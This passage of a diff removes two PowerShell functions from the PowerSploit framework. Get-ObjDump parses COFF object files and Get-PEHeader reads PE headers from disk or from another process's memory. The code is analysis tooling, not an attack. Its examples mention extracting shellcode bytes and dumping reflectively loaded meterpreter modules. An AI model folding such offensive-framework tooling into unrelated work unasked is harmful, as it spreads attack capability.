</TableColumnHeader>
</TableHeaders>
<TableRowEntries>
<TableRowEntry>
<TableColumnItems>
<TableColumnItem>
<PropertyName>VirtualAddress</PropertyName>
<FormatString>0x{0:X8}</FormatString>
</TableColumnItem>
<TableColumnItem>
<PropertyName>SymbolTableIndex</PropertyName>
<FormatString>0x{0:X8}</FormatString>
</TableColumnItem>
<TableColumnItem>
<PropertyName>Type</PropertyName>
</TableColumnItem>
<TableColumnItem>
<PropertyName>Name</PropertyName>
</TableColumnItem>
</TableColumnItems>
</TableRowEntry>
</TableRowEntries>
</TableControl>
</View>
</ViewDefinitions>
</Configuration>
-708
View File
@@ -1,708 +0,0 @@
function Get-ObjDump
{
<#
.SYNOPSIS
Displays information about one or more Windows object files.
PowerSploit Function: Get-ObjDump
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Get-ObjDump parses and returns nearly identical infomation as the dumpbin
utility. By nature of Get-ObjDump returning objects though, it lends itself
much better to manipulation since every field is an object.
.PARAMETER Path
Specifies a path to one or more object file locations.
.EXAMPLE
C:\PS>Get-ObjDump -Path main.obj
.EXAMPLE
C:\PS>ls *.obj | Get-ObjDump
.EXAMPLE
C:\PS>$ObjectFile = Get-ObjDump -Path shellcode.obj
C:\PS>$CodeBytes = $ObjectFile.SectionHeaders | ? {$_.Name -eq '.text'} | % {$_.RawData}
Description
-----------
Pulls the raw bytes out of the text section. Note that in this form,
no relocations have been fixed up.
.INPUTS
System.String[]
You can pipe a file system path (in quotation marks) to Get-ObjDump.
.OUTPUTS
COFF.OBJECT_FILE
.LINK
http://www.exploit-monday.com/
#>
[CmdletBinding()] Param (
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)]
[ValidateScript({ Test-Path $_ })]
[String[]]
$Path
)
BEGIN
{
$Code = @'
using System;
using System.IO;
using System.Text;
namespace COFF
{
public enum Machine : ushort
{
UNKNOWN = 0,
I386 = 0x014C, // Intel 386.
R3000 = 0x0162, // MIPS little-endian =0x160 big-endian
R4000 = 0x0166, // MIPS little-endian
R10000 = 0x0168, // MIPS little-endian
WCEMIPSV2 = 0x0169, // MIPS little-endian WCE v2
ALPHA = 0x0184, // Alpha_AXP
SH3 = 0x01A2, // SH3 little-endian
SH3DSP = 0x01A3,
SH3E = 0x01A4, // SH3E little-endian
SH4 = 0x01A6, // SH4 little-endian
SH5 = 0x01A8, // SH5
ARM = 0x01C0, // ARM Little-Endian
THUMB = 0x01C2,
ARMV7 = 0x01C4, // ARM Thumb-2 Little-Endian
AM33 = 0x01D3,
POWERPC = 0x01F0, // IBM PowerPC Little-Endian
POWERPCFP = 0x01F1,
IA64 = 0x0200, // Intel 64
MIPS16 = 0x0266, // MIPS
ALPHA64 = 0x0284, // ALPHA64
MIPSFPU = 0x0366, // MIPS
MIPSFPU16 = 0x0466, // MIPS
AXP64 = ALPHA64,
TRICORE = 0x0520, // Infineon
CEF = 0x0CEF,
EBC = 0x0EBC, // EFI public byte Code
AMD64 = 0x8664, // AMD64 (K8)
M32R = 0x9041, // M32R little-endian
ARM64 = 0xAA64, // ARMv8 in 64-bit mode
CEE = 0xC0EE
}
[Flags]
public enum CoffHeaderCharacteristics : ushort
{
RELOCS_STRIPPED = 0x0001, // Relocation info stripped from file.
EXECUTABLE_IMAGE = 0x0002, // File is executable (i.e. no unresolved external references).
LINE_NUMS_STRIPPED = 0x0004, // Line nunbers stripped from file.
LOCAL_SYMS_STRIPPED = 0x0008, // Local symbols stripped from file.
AGGRESIVE_WS_TRIM = 0x0010, // Agressively trim working set
LARGE_ADDRESS_AWARE = 0x0020, // App can handle >2gb addresses
REVERSED_LO = 0x0080, // public bytes of machine public ushort are reversed.
BIT32_MACHINE = 0x0100, // 32 bit public ushort machine.
DEBUG_STRIPPED = 0x0200, // Debugging info stripped from file in .DBG file
REMOVABLE_RUN_FROM_SWAP = 0x0400, // If Image is on removable media =copy and run from the swap file.
NET_RUN_FROM_SWAP = 0x0800, // If Image is on Net =copy and run from the swap file.
SYSTEM = 0x1000, // System File.
DLL = 0x2000, // File is a DLL.
UP_SYSTEM_ONLY = 0x4000, // File should only be run on a UP machine
REVERSED_HI = 0x8000 // public bytes of machine public ushort are reversed.
}
public class HEADER
{
public Machine Machine;
public ushort NumberOfSections;
public DateTime TimeDateStamp;
public uint PointerToSymbolTable;
public uint NumberOfSymbols;
public ushort SizeOfOptionalHeader;
public CoffHeaderCharacteristics Characteristics;
public HEADER(BinaryReader br)
{
this.Machine = (Machine) br.ReadUInt16();
this.NumberOfSections = br.ReadUInt16();
this.TimeDateStamp = (new DateTime(1970, 1, 1, 0, 0, 0)).AddSeconds(br.ReadUInt32());
this.PointerToSymbolTable = br.ReadUInt32();
this.NumberOfSymbols = br.ReadUInt32();
this.SizeOfOptionalHeader = br.ReadUInt16();
this.Characteristics = (CoffHeaderCharacteristics) br.ReadUInt16();
}
}
[Flags]
public enum SectionHeaderCharacteristics : uint
{
TYPE_NO_PAD = 0x00000008, // Reserved.
CNT_CODE = 0x00000020, // Section contains code.
CNT_INITIALIZED_DATA = 0x00000040, // Section contains initialized data.
CNT_UNINITIALIZED_DATA = 0x00000080, // Section contains uninitialized data.
LNK_INFO = 0x00000200, // Section contains comments or some other type of information.
LNK_REMOVE = 0x00000800, // Section contents will not become part of image.
LNK_COMDAT = 0x00001000, // Section contents comdat.
NO_DEFER_SPEC_EXC = 0x00004000, // Reset speculative exceptions handling bits in the TLB entries for this section.
GPREL = 0x00008000, // Section content can be accessed relative to GP
MEM_FARDATA = 0x00008000,
MEM_PURGEABLE = 0x00020000,
MEM_16BIT = 0x00020000,
MEM_LOCKED = 0x00040000,
MEM_PRELOAD = 0x00080000,
ALIGN_1BYTES = 0x00100000,
ALIGN_2BYTES = 0x00200000,
ALIGN_4BYTES = 0x00300000,
ALIGN_8BYTES = 0x00400000,
ALIGN_16BYTES = 0x00500000, // Default alignment if no others are specified.
ALIGN_32BYTES = 0x00600000,
ALIGN_64BYTES = 0x00700000,
ALIGN_128BYTES = 0x00800000,
ALIGN_256BYTES = 0x00900000,
ALIGN_512BYTES = 0x00A00000,
ALIGN_1024BYTES = 0x00B00000,
ALIGN_2048BYTES = 0x00C00000,
ALIGN_4096BYTES = 0x00D00000,
ALIGN_8192BYTES = 0x00E00000,
ALIGN_MASK = 0x00F00000,
LNK_NRELOC_OVFL = 0x01000000, // Section contains extended relocations.
MEM_DISCARDABLE = 0x02000000, // Section can be discarded.
MEM_NOT_CACHED = 0x04000000, // Section is not cachable.
MEM_NOT_PAGED = 0x08000000, // Section is not pageable.
MEM_SHARED = 0x10000000, // Section is shareable.
MEM_EXECUTE = 0x20000000, // Section is executable.
MEM_READ = 0x40000000, // Section is readable.
MEM_WRITE = 0x80000000 // Section is writeable.
}
public enum AMD64RelocationType : ushort
{
ABSOLUTE,
ADDR64,
ADDR32,
ADDR32NB,
REL32,
REL32_1,
REL32_2,
REL32_3,
REL32_4,
REL32_5,
SECTION,
SECREL,
SECREL7,
TOKEN,
SREL32,
PAIR,
SSPAN32
}
public enum ARMRelocationType : ushort
{
ABSOLUTE,
ADDR32,
ADDR32NB,
BRANCH24,
BRANCH11,
TOKEN,
BLX24 = 0x08,
BLX11 = 0x09,
SECTION = 0x0E,
SECREL = 0x0F,
MOV32A = 0x10,
MOV32T = 0x11,
BRANCH20T = 0x12,
BRANCH24T = 0x14,
BLX23T = 0x15
}
public enum ARMv8RelocationType : ushort
{
ABSOLUTE,
ADDR32,
ADDR32NB,
BRANCH26,
PAGEBASE_REL21,
REL21,
PAGEOFFSET_12A,
PAGEOFFSET_12L,
SECREL,
SECREL_LOW12A,
SECREL_HIGH12A,
SECREL_LOW12L,
TOKEN,
SECTION,
ADDR64
}
public enum X86RelocationType : ushort
{
ABSOLUTE,
DIR16,
DIR32 = 0x06,
DIR32NB = 0x07,
SEG12 = 0x09,
SECTION = 0x0A,
SECREL = 0x0B,
TOKEN = 0x0C,
SECREL7 = 0x0D,
REL32 = 0x14
}
public class RelocationEntry
{
public uint VirtualAddress;
public uint SymbolTableIndex;
public Enum Type;
public string Name;
public RelocationEntry(BinaryReader br)
{
this.VirtualAddress = br.ReadUInt32();
this.SymbolTableIndex = br.ReadUInt32();
// Default to X86RelocationType. This will be changed once the processor type is determined
this.Type = (X86RelocationType) br.ReadUInt16();
}
}
public class SECTION_HEADER
{
public string Name;
public uint PhysicalAddress;
public uint VirtualSize;
public uint VirtualAddress;
public uint SizeOfRawData;
public uint PointerToRawData;
public uint PointerToRelocations;
public uint PointerToLinenumbers;
public ushort NumberOfRelocations;
public ushort NumberOfLinenumbers;
public SectionHeaderCharacteristics Characteristics;
public Byte[] RawData;
public RelocationEntry[] Relocations;
public SECTION_HEADER(BinaryReader br)
{
this.Name = Encoding.UTF8.GetString(br.ReadBytes(8)).Split((Char) 0)[0];
this.PhysicalAddress = br.ReadUInt32();
this.VirtualSize = this.PhysicalAddress;
this.VirtualAddress = br.ReadUInt32();
this.SizeOfRawData = br.ReadUInt32();
this.PointerToRawData = br.ReadUInt32();
this.PointerToRelocations = br.ReadUInt32();
this.PointerToLinenumbers = br.ReadUInt32();
this.NumberOfRelocations = br.ReadUInt16();
this.NumberOfLinenumbers = br.ReadUInt16();
this.Characteristics = (SectionHeaderCharacteristics) br.ReadUInt32();
}
}
public enum SectionNumber : short
{
UNDEFINED,
ABSOLUTE = -1,
DEBUG = -2
}
[Flags]
public enum TypeClass : short
{
TYPE_NULL,
TYPE_VOID,
TYPE_CHAR,
TYPE_SHORT,
TYPE_INT,
TYPE_LONG,
TYPE_FLOAT,
TYPE_DOUBLE,
TYPE_STRUCT,
TYPE_UNION,
TYPE_ENUM,
TYPE_MOE,
TYPE_BYTE,
TYPE_WORD,
TYPE_UINT,
TYPE_DWORD,
DTYPE_POINTER = 0x100,
DTYPE_FUNCTION = 0x200,
DTYPE_ARRAY = 0x300,
DTYPE_NULL = 0x400 // Technically, this is defined as 0 in the MSB
}
public enum StorageClass : byte
{
NULL,
AUTOMATIC,
EXTERNAL,
STATIC,
REGISTER,
EXTERNAL_DEF,
LABEL,
UNDEFINED_LABEL,
MEMBER_OF_STRUCT,
ARGUMENT,
STRUCT_TAG,
MEMBER_OF_UNION,
UNION_TAG,
TYPE_DEFINITION,
ENUM_TAG,
MEMBER_OF_ENUM,
REGISTER_PARAM,
BIT_FIELD,
BLOCK = 0x64,
FUNCTION = 0x65,
END_OF_STRUCT = 0x66,
FILE = 0x67,
SECTION = 0x68,
WEAK_EXTERNAL = 0x69,
CLR_TOKEN = 0x6B,
END_OF_FUNCTION = 0xFF
}
public class SYMBOL_TABLE
{
public string Name;
public uint Value;
public SectionNumber SectionNumber;
public TypeClass Type;
public StorageClass StorageClass;
public byte NumberOfAuxSymbols;
public Object AuxSymbols;
private Byte[] NameArray;
public SYMBOL_TABLE(BinaryReader br)
{
this.NameArray = br.ReadBytes(8);
if (this.NameArray[0] == 0 && this.NameArray[1] == 0 &&this.NameArray[2] == 0 &&this.NameArray[3] == 0)
{
// Per specification, if the high DWORD is 0, then then low DWORD is an index into the string table
this.Name = "/" + BitConverter.ToInt32(NameArray, 4).ToString();
}
else
{
this.Name = Encoding.UTF8.GetString(NameArray).Trim(((char) 0));
}
this.Value = br.ReadUInt32();
this.SectionNumber = (SectionNumber) br.ReadInt16();
this.Type = (TypeClass) br.ReadInt16();
if ((((int) this.Type) & 0xff00) == 0) { this.Type = (TypeClass) Enum.Parse(typeof(TypeClass), ((int) this.Type | 0x400).ToString());}
this.StorageClass = (StorageClass) br.ReadByte();
this.NumberOfAuxSymbols = br.ReadByte();
}
}
public class SECTION_DEFINITION
{
public uint Length;
public ushort NumberOfRelocations;
public ushort NumberOfLinenumbers;
public uint CheckSum;
public ushort Number;
public byte Selection;
public SECTION_DEFINITION(BinaryReader br)
{
this.Length = br.ReadUInt32();
this.NumberOfRelocations = br.ReadUInt16();
this.NumberOfLinenumbers = br.ReadUInt16();
this.CheckSum = br.ReadUInt32();
this.Number = br.ReadUInt16();
this.Selection = br.ReadByte();
br.ReadBytes(3);
}
}
}
'@
Add-Type -TypeDefinition $Code
function Dispose-Objects
{
$BinaryReader.Dispose()
$FileStream.Dispose()
}
}
PROCESS
{
foreach ($File in $Path) {
# Resolve the absolute path of the object file. [IO.File]::OpenRead requires an absolute path.
$ObjFilePath = Resolve-Path $File
# Pull out just the file name
$ObjFileName = Split-Path $ObjFilePath -Leaf
# Fixed structure sizes
$SizeofCOFFFileHeader = 20
$SizeofSectionHeader = 40
$SizeofSymbolTableEntry = 18
$SizeofRelocationEntry = 10
# Open the object file for reading
$FileStream = [IO.File]::OpenRead($ObjFilePath)
$FileLength = $FileStream.Length
if ($FileLength -lt $SizeofCOFFFileHeader)
{
# You cannot parse the COFF header if the file is not big enough to contain a COFF header.
Write-Error "$($ObjFileName) is too small to store a COFF header."
Dispose-Objects
return
}
# Open a BinaryReader object for the object file
$BinaryReader = New-Object IO.BinaryReader($FileStream)
# Parse the COFF header
$CoffHeader = New-Object COFF.HEADER($BinaryReader)
if ($CoffHeader.SizeOfOptionalHeader -ne 0)
{
# Per the PECOFF specification, an object file does not have an optional header
Write-Error "Coff header indicates the existence of an optional header. An object file cannot have an optional header."
Dispose-Objects
return
}
if ($CoffHeader.PointerToSymbolTable -eq 0)
{
Write-Error 'An object file is supposed to have a symbol table.'
Dispose-Objects
return
}
if ($FileLength -lt (($CoffHeader.NumberOfSections * $SizeofSectionHeader) + $SizeofCOFFFileHeader))
{
# The object file isn't big enough to store the number of sections present.
Write-Error "$($ObjFileName) is too small to store section header data."
Dispose-Objects
return
}
# A string collection used to store section header names. This collection is referenced while
# parsing the symbol table entries whose name is the same as the section header. In this case,
# the symbol entry will have a particular auxiliary symbol table entry.
$SectionHeaderNames = New-Object Collections.Specialized.StringCollection
# Correlate the processor type to the relocation type. There are more relocation type defined
# in the PECOFF specification, but I don't expect those to be present. In that case, relocation
# entries default to X86RelocationType.
$SectionHeaders = New-Object COFF.SECTION_HEADER[]($CoffHeader.NumberOfSections)
$MachineTypes = @{ [COFF.Machine]::I386 = [COFF.X86RelocationType]
[COFF.Machine]::AMD64 = [COFF.AMD64RelocationType]
[COFF.Machine]::ARMV7 = [COFF.ARMRelocationType]
[COFF.Machine]::ARM64 = [COFF.ARMv8RelocationType] }
# Parse section headers
for ($i = 0; $i -lt $CoffHeader.NumberOfSections; $i++)
{
$SectionHeaders[$i] = New-Object COFF.SECTION_HEADER($BinaryReader)
# Add the section name to the string collection. This will be referenced during symbol table parsing.
$SectionHeaderNames.Add($SectionHeaders[$i].Name) | Out-Null
# Save the current filestream position. We are about to jump out of place.
$SavedFilePosition = $FileStream.Position
# Check to see if the raw data points beyond the actual file size
if (($SectionHeaders[$i].PointerToRawData + $SectionHeaders[$i].SizeOfRawData) -gt $FileLength)
{
Write-Error "$($SectionHeaders[$i].Name) section header's raw data exceeds the size of the object file."
return
}
else
{
# Read the raw data into a byte array
$FileStream.Seek($SectionHeaders[$i].PointerToRawData, 'Begin') | Out-Null
$SectionHeaders[$i].RawData = $BinaryReader.ReadBytes($SectionHeaders[$i].SizeOfRawData)
}
# Check to see if the section has a relocation table
if ($SectionHeaders[$i].PointerToRelocations -and $SectionHeaders[$i].NumberOfRelocations)
{
# Check to see if the relocation entries point beyond the actual file size
if (($SectionHeaders[$i].PointerToRelocations + ($SizeofRelocationEntry * $SectionHeaders[$i].NumberOfRelocations)) -gt $FileLength)
{
Write-Error "$($SectionHeaders[$i].Name) section header's relocation entries exceeds the soze of the object file."
return
}
$FileStream.Seek($SectionHeaders[$i].PointerToRelocations, 'Begin') | Out-Null
$Relocations = New-Object COFF.RelocationEntry[]($SectionHeaders[$i].NumberOfRelocations)
for ($j = 0; $j -lt $SectionHeaders[$i].NumberOfRelocations; $j++)
{
$Relocations[$j] = New-Object COFF.RelocationEntry($BinaryReader)
# Cast the relocation as its respective type
$Relocations[$j].Type = ($Relocations[$j].Type.value__ -as $MachineTypes[$CoffHeader.Machine])
}
# Add the relocation table entry to the section header
$SectionHeaders[$i].Relocations = $Relocations
}
# Restore the original filestream pointer
$FileStream.Seek($SavedFilePosition, 'Begin') | Out-Null
}
# Retrieve the contents of the COFF string table
$SymTableSize = $CoffHeader.NumberOfSymbols * $SizeofSymbolTableEntry
$StringTableOffset = $CoffHeader.PointerToSymbolTable + $SymTableSize
if ($StringTableOffset -gt $FileLength)
{
Write-Error 'The string table points beyond the end of the file.'
Dispose-Objects
return
}
$FileStream.Seek($StringTableOffset, 'Begin') | Out-Null
$StringTableLength = $BinaryReader.ReadUInt32()
if ($StringTableLength -gt $FileLength)
{
Write-Error "The string table's length exceeds the length of the file."
Dispose-Objects
return
}
$StringTable = [Text.Encoding]::UTF8.GetString($BinaryReader.ReadBytes($StringTableLength))
$RawSymbolTable = New-Object COFF.SYMBOL_TABLE[]($CoffHeader.NumberOfSymbols)
# Retrieve the symbol table
if ($FileLength -lt $StringTableOffset)
{
"Symbol table is larger than the file size."
return
}
$FileStream.Seek($CoffHeader.PointerToSymbolTable, 'Begin') | Out-Null
$NumberofRegularSymbols = 0
<#
Go through each symbol table looking for auxiliary symbols to parse
Currently supported auxiliary symbol table entry formats:
1) .file
2) Entry names that match the name of a section header
#>
for ($i = 0; $i -lt $CoffHeader.NumberOfSymbols; $i++)
{
# Parse the symbol tables regardless of whether they are normal or auxiliary symbols
$RawSymbolTable[$i] = New-Object COFF.SYMBOL_TABLE($BinaryReader)
if ($RawSymbolTable[$i].NumberOfAuxSymbols -eq 0)
{
# This symbol table entry has no auxiliary symbols
$NumberofRegularSymbols++
}
elseif ($RawSymbolTable[$i].Name -eq '.file')
{
$TempPosition = $FileStream.Position # Save filestream position
# Retrieve the file name
$RawSymbolTable[$i].AuxSymbols = [Text.Encoding]::UTF8.GetString($BinaryReader.ReadBytes($RawSymbolTable[$i].NumberOfAuxSymbols * $SizeofSymbolTableEntry)).TrimEnd(([Char] 0))
$FileStream.Seek($TempPosition, 'Begin') | Out-Null # Restore filestream position
}
elseif ($SectionHeaderNames.Contains($RawSymbolTable[$i].Name))
{
$TempPosition = $FileStream.Position # Save filestream position
$RawSymbolTable[$i].AuxSymbols = New-Object COFF.SECTION_DEFINITION($BinaryReader)
$FileStream.Seek($TempPosition, 'Begin') | Out-Null # Restore filestream position
}
}
# Create an array of symbol table entries without auxiliary table entries
$SymbolTable = New-Object COFF.SYMBOL_TABLE[]($NumberofRegularSymbols)
$j = 0
for ($i = 0; $i -lt $CoffHeader.NumberOfSymbols; $i++)
{
$SymbolTable[$j] = $RawSymbolTable[$i] # FYI, the first symbol table entry will never be an aux symbol
$j++
# Skip over the auxiliary symbols
if ($RawSymbolTable[$i].NumberOfAuxSymbols -ne 0)
{
$i += $RawSymbolTable[$i].NumberOfAuxSymbols
}
}
# Dispose the binaryreader and filestream objects
Dispose-Objects
# Fix the section names if any of them point to the COFF string table
for ($i = 0; $i -lt $CoffHeader.NumberOfSections; $i++)
{
if ($SectionHeaders[$i].Name.IndexOf('/') -eq 0)
{
$StringTableIndex = $SectionHeaders[$i].Name.SubString(1)
if ($StringTableIndex -match '^[1-9][0-9]*$')
{
$StringTableIndex = ([Int] $StringTableIndex) - 4
if ($StringTableIndex -gt ($StringTableLength + 4))
{
Write-Error 'String table entry exceeds the bounds of the object file.'
}
$Length = $StringTable.IndexOf(([Char] 0), $StringTableIndex)
$SectionHeaders[$i].Name = $StringTable.Substring($StringTableIndex, $Length)
}
}
}
# Fix the symbol table names
for ($i = 0; $i -lt $SymbolTable.Length; $i++)
{
if ($SymbolTable[$i].Name.IndexOf('/') -eq 0)
{
$StringTableIndex = $SymbolTable[$i].Name.SubString(1)
if ($StringTableIndex -match '^[1-9][0-9]*$')
{
$StringTableIndex = ([Int] $StringTableIndex) - 4
$Length = $StringTable.IndexOf(([Char] 0), $StringTableIndex) - $StringTableIndex
$SymbolTable[$i].Name = $StringTable.Substring($StringTableIndex, $Length)
}
}
}
# Apply symbol names to the relocation entries
$SectionHeaders | Where-Object { $_.Relocations } | % {
$_.Relocations | % { $_.Name = $RawSymbolTable[$_.SymbolTableIndex].Name }
}
$Result = @{
COFFHeader = $CoffHeader
SectionHeaders = $SectionHeaders
SymbolTable = $SymbolTable
}
$ParsedObjectFile = New-Object PSObject -Property $Result
$ParsedObjectFile.PSObject.TypeNames[0] = 'COFF.OBJECT_FILE'
Write-Output $ParsedObjectFile
}
}
END {}
}
-960
View File
@@ -1,960 +0,0 @@
function Get-PEHeader
{
<#
.SYNOPSIS
Parses and outputs the PE header of a process in memory or a PE file on disk.
PowerSploit Function: Get-PEHeader
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: PETools.format.ps1xml
.DESCRIPTION
Get-PEHeader retrieves PE headers including imports and exports from either a file on disk or a module in memory. Get-PEHeader will operate on single PE header but you can also feed it the output of Get-ChildItem or Get-Process! Get-PEHeader works on both 32 and 64-bit modules.
.PARAMETER FilePath
Specifies the path to the portable executable file on disk
.PARAMETER ProcessID
Specifies the process ID.
.PARAMETER Module
The name of the module. This parameter is typically only used in pipeline expressions
.PARAMETER ModuleBaseAddress
The base address of the module
.PARAMETER GetSectionData
Retrieves raw section data.
.OUTPUTS
System.Object
Returns a custom object consisting of the following: compile time, section headers, module name, DOS header, imports, exports, file header, optional header, and PE signature.
.EXAMPLE
C:\PS> Get-Process cmd | Get-PEHeader
Description
-----------
Returns the full PE headers of every loaded module in memory
.EXAMPLE
C:\PS> Get-ChildItem C:\Windows\*.exe | Get-PEHeader
Description
-----------
Returns the full PE headers of every exe in C:\Windows\
.EXAMPLE
C:\PS> Get-PEHeader C:\Windows\System32\kernel32.dll
Module : C:\Windows\System32\kernel32.dll
DOSHeader : PE+_IMAGE_DOS_HEADER
FileHeader : PE+_IMAGE_FILE_HEADER
OptionalHeader : PE+_IMAGE_OPTIONAL_HEADER32
SectionHeaders : {.text, .data, .rsrc, .reloc}
Imports : {@{Ordinal=; FunctionName=RtlUnwind; ModuleName=API-MS-Win-Core-RtlSupport-L1-1-0.
dll; VA=0x000CB630}, @{Ordinal=; FunctionName=RtlCaptureContext; ModuleName=API-MS
-Win-Core-RtlSupport-L1-1-0.dll; VA=0x000CB63C}, @{Ordinal=; FunctionName=RtlCaptu
reStackBackTrace; ModuleName=API-MS-Win-Core-RtlSupport-L1-1-0.dll; VA=0x000CB650}
, @{Ordinal=; FunctionName=NtCreateEvent; ModuleName=ntdll.dll; VA=0x000CB66C}...}
Exports : {@{ForwardedName=; FunctionName=lstrlenW; Ordinal=0x0552; VA=0x0F022708}, @{Forwar
dedName=; FunctionName=lstrlenA; Ordinal=0x0551; VA=0x0F026A23}, @{ForwardedName=;
FunctionName=lstrlen; Ordinal=0x0550; VA=0x0F026A23}, @{ForwardedName=; FunctionN
ame=lstrcpynW; Ordinal=0x054F; VA=0x0F04E54E}...}
.EXAMPLE
C:\PS> $Proc = Get-Process cmd
C:\PS> $Kernel32Base = ($Proc.Modules | Where-Object {$_.ModuleName -eq 'kernel32.dll'}).BaseAddress
C:\PS> Get-PEHeader -ProcessId $Proc.Id -ModuleBaseAddress $Kernel32Base
Module :
DOSHeader : PE+_IMAGE_DOS_HEADER
FileHeader : PE+_IMAGE_FILE_HEADER
OptionalHeader : PE+_IMAGE_OPTIONAL_HEADER32
SectionHeaders : {.text, .data, .rsrc, .reloc}
Imports : {@{Ordinal=; FunctionName=RtlUnwind; ModuleName=API-MS-Win-Core-RtlSupport-L1-1-0.
dll; VA=0x77B8B6D9}, @{Ordinal=; FunctionName=RtlCaptureContext; ModuleName=API-MS
-Win-Core-RtlSupport-L1-1-0.dll; VA=0x77B8B4CB}, @{Ordinal=; FunctionName=RtlCaptu
reStackBackTrace; ModuleName=API-MS-Win-Core-RtlSupport-L1-1-0.dll; VA=0x77B95277}
, @{Ordinal=; FunctionName=NtCreateEvent; ModuleName=ntdll.dll; VA=0x77B4FF54}...}
Exports : {@{ForwardedName=; FunctionName=lstrlenW; Ordinal=0x0552; VA=0x08221720}, @{Forwar
dedName=; FunctionName=lstrlenA; Ordinal=0x0551; VA=0x08225A3B}, @{ForwardedName=;
FunctionName=lstrlen; Ordinal=0x0550; VA=0x08225A3B}, @{ForwardedName=; FunctionN
ame=lstrcpynW; Ordinal=0x054F; VA=0x0824D566}...}
Description
-----------
A PE header is returned upon providing the module's base address. This technique would be useful for dumping the PE header of a rogue module that is invisible to Windows - e.g. a reflectively loaded meterpreter binary (metsrv.dll).
.NOTES
Be careful if you decide to specify a module base address. Get-PEHeader does not check for the existence of an MZ header. An MZ header is not a prerequisite for reflectively loading a module in memory. If you provide an address that is not an actual PE header, you could crash the process.
.LINK
http://www.exploit-monday.com/2012/07/get-peheader.html
#>
[CmdletBinding(DefaultParameterSetName = 'OnDisk')] Param (
[Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'OnDisk', ValueFromPipelineByPropertyName = $True)] [Alias('FullName')] [String[]] $FilePath,
[Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'InMemory', ValueFromPipelineByPropertyName = $True)] [Alias('Id')] [Int] $ProcessID,
[Parameter(Position = 2, ParameterSetName = 'InMemory', ValueFromPipelineByPropertyName = $True)] [Alias('MainModule')] [Alias('Modules')] [System.Diagnostics.ProcessModule[]] $Module,
[Parameter(Position = 1, ParameterSetName = 'InMemory')] [IntPtr] $ModuleBaseAddress,
[Parameter()] [Switch] $GetSectionData
)
PROCESS {
switch ($PsCmdlet.ParameterSetName) {
'OnDisk' {
if ($FilePath.Length -gt 1) {
foreach ($Path in $FilePath) { Get-PEHeader $Path }
}
if (!(Test-Path $FilePath)) {
Write-Warning 'Invalid path or file does not exist.'
return
}
$FilePath = Resolve-Path $FilePath
if ($FilePath.GetType() -eq [System.Array]) {
$ModuleName = $FilePath[0]
} else {
$ModuleName = $FilePath
}
}
'InMemory' {
if ($Module.Length -gt 1) {
foreach ($Mod in $Module) {
$BaseAddr = $Mod.BaseAddress
Get-PEHeader -ProcessID $ProcessID -Module $Mod -ModuleBaseAddress $BaseAddr
}
}
if (-not $ModuleBaseAddress) { return }
if ($ProcessID -eq $PID) {
Write-Warning 'You cannot parse the PE header of the current process. Open another instance of PowerShell.'
return
}
if ($Module) {
$ModuleName = $Module[0].FileName
} else {
$ModuleName = ''
}
}
}
try { [PE] | Out-Null } catch [Management.Automation.RuntimeException]
{
$code = @"
using System;
using System.Runtime.InteropServices;
public class PE
{
[Flags]
public enum IMAGE_DOS_SIGNATURE : ushort
{
DOS_SIGNATURE = 0x5A4D, // MZ
OS2_SIGNATURE = 0x454E, // NE
OS2_SIGNATURE_LE = 0x454C, // LE
VXD_SIGNATURE = 0x454C, // LE
}
[Flags]
public enum IMAGE_NT_SIGNATURE : uint
{
VALID_PE_SIGNATURE = 0x00004550 // PE00
}
[Flags]
public enum IMAGE_FILE_MACHINE : ushort
{
UNKNOWN = 0,
I386 = 0x014c, // Intel 386.
R3000 = 0x0162, // MIPS little-endian =0x160 big-endian
R4000 = 0x0166, // MIPS little-endian
R10000 = 0x0168, // MIPS little-endian
WCEMIPSV2 = 0x0169, // MIPS little-endian WCE v2
ALPHA = 0x0184, // Alpha_AXP
SH3 = 0x01a2, // SH3 little-endian
SH3DSP = 0x01a3,
SH3E = 0x01a4, // SH3E little-endian
SH4 = 0x01a6, // SH4 little-endian
SH5 = 0x01a8, // SH5
ARM = 0x01c0, // ARM Little-Endian
THUMB = 0x01c2,
ARMNT = 0x01c4, // ARM Thumb-2 Little-Endian
AM33 = 0x01d3,
POWERPC = 0x01F0, // IBM PowerPC Little-Endian
POWERPCFP = 0x01f1,
IA64 = 0x0200, // Intel 64
MIPS16 = 0x0266, // MIPS
ALPHA64 = 0x0284, // ALPHA64
MIPSFPU = 0x0366, // MIPS
MIPSFPU16 = 0x0466, // MIPS
AXP64 = ALPHA64,
TRICORE = 0x0520, // Infineon
CEF = 0x0CEF,
EBC = 0x0EBC, // EFI public byte Code
AMD64 = 0x8664, // AMD64 (K8)
M32R = 0x9041, // M32R little-endian
CEE = 0xC0EE
}
[Flags]
public enum IMAGE_FILE_CHARACTERISTICS : ushort
{
IMAGE_RELOCS_STRIPPED = 0x0001, // Relocation info stripped from file.
IMAGE_EXECUTABLE_IMAGE = 0x0002, // File is executable (i.e. no unresolved external references).
IMAGE_LINE_NUMS_STRIPPED = 0x0004, // Line nunbers stripped from file.
IMAGE_LOCAL_SYMS_STRIPPED = 0x0008, // Local symbols stripped from file.
IMAGE_AGGRESIVE_WS_TRIM = 0x0010, // Agressively trim working set
IMAGE_LARGE_ADDRESS_AWARE = 0x0020, // App can handle >2gb addresses
IMAGE_REVERSED_LO = 0x0080, // public bytes of machine public ushort are reversed.
IMAGE_32BIT_MACHINE = 0x0100, // 32 bit public ushort machine.
IMAGE_DEBUG_STRIPPED = 0x0200, // Debugging info stripped from file in .DBG file
IMAGE_REMOVABLE_RUN_FROM_SWAP = 0x0400, // If Image is on removable media =copy and run from the swap file.
IMAGE_NET_RUN_FROM_SWAP = 0x0800, // If Image is on Net =copy and run from the swap file.
IMAGE_SYSTEM = 0x1000, // System File.
IMAGE_DLL = 0x2000, // File is a DLL.
IMAGE_UP_SYSTEM_ONLY = 0x4000, // File should only be run on a UP machine
IMAGE_REVERSED_HI = 0x8000 // public bytes of machine public ushort are reversed.
}
[Flags]
public enum IMAGE_NT_OPTIONAL_HDR_MAGIC : ushort
{
PE32 = 0x10b,
PE64 = 0x20b
}
[Flags]
public enum IMAGE_SUBSYSTEM : ushort
{
UNKNOWN = 0, // Unknown subsystem.
NATIVE = 1, // Image doesn't require a subsystem.
